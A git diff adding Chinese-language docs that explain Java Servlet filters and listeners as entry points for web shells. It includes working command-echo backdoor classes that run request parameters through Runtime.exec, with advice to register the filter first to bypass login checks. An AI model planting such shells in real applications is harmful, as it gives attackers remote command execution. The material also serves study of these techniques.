diff --git a/docs/shell/FilterShell.md b/docs/shell/FilterShell.md new file mode 100644 index 00000000..84b2f37e --- /dev/null +++ b/docs/shell/FilterShell.md @@ -0,0 +1,101 @@ +# Java Servlet Filter + +> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md) + +Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。 + +## Filter 配置 + +Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价 + +```xml + + Multipe Mappings Filter + /foo/* + Servlet1 + Servlet2 + /bar/* + +``` + +```java +@WebFilter( + filterName = "Multipe Mappings Filter", + urlPatterns = {"/foo/*", "/bar/*"}, + servletNames = {"Servlet1", "Servlet2"} +) +public class MultipeMappingsFilter implements Filter { + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + // TODO + } +} +``` + +## doFilter + +Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。 + +Filter 的接口签名如下,其中最重要的就是 doFilter 方法。 + +1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。 +2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。 +3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。 +4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。 + +```java +public interface Filter { + /** + * 由 Web 容器在初始化 Filter 时调用。 + */ + public void init(FilterConfig filterConfig) throws ServletException; + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException; + /** + * 由 Web 容器在卸载 Filter 时调用。 + */ + public void destroy(); +} +``` + +## FilterShell + +shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。 + +1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。 +2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 +3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。 + +```java +public class CommandFilter implements Filter { + public static String paramName; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return; + } + chain.doFilter(servletRequest, servletResponse); + } + + @Override + public void destroy() { + + } +} +``` diff --git a/docs/shell/ListenerShell.md b/docs/shell/ListenerShell.md new file mode 100644 index 00000000..2b109971 --- /dev/null +++ b/docs/shell/ListenerShell.md @@ -0,0 +1,79 @@ +# Event Listeners + +> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md) + +Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。 + +| Listener 接口类 | 描述 | +|--------------------------------------------------|---------------------------------| +| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 | +| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 | +| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 | +| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 | +| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 | +| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 | +| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 | +| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 | +| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 | +| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 | + +## ServletRequestListener + +在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。 + +```java +public interface ServletRequestListener extends EventListener { + public void requestDestroyed(ServletRequestEvent sre); + + /** + * Receives notification that a ServletRequest is about to come + * into scope of the web application. + * + * @param sre the ServletRequestEvent containing the ServletRequest + * and the ServletContext representing the web application + */ + public void requestInitialized(ServletRequestEvent sre); +} +``` + +以下时使用 ServletRequestListenerShell 命令回显的代码实现。 + +1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。 + +```java +public class CommandListener implements ServletRequestListener { + public static String paramName; + + public CommandListener() { + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return null; + } +} +``` diff --git a/docs/shell/ServletShell.md b/docs/shell/ServletShell.md index daca0f10..02adb5cd 100644 --- a/docs/shell/ServletShell.md +++ b/docs/shell/ServletShell.md @@ -4,7 +4,7 @@ Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要 Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。 -目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 Servlet 6.1。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。 +目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。 ## ServletContext @@ -82,19 +82,16 @@ public class CommandServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); } - } catch (Exception ignored) { } } }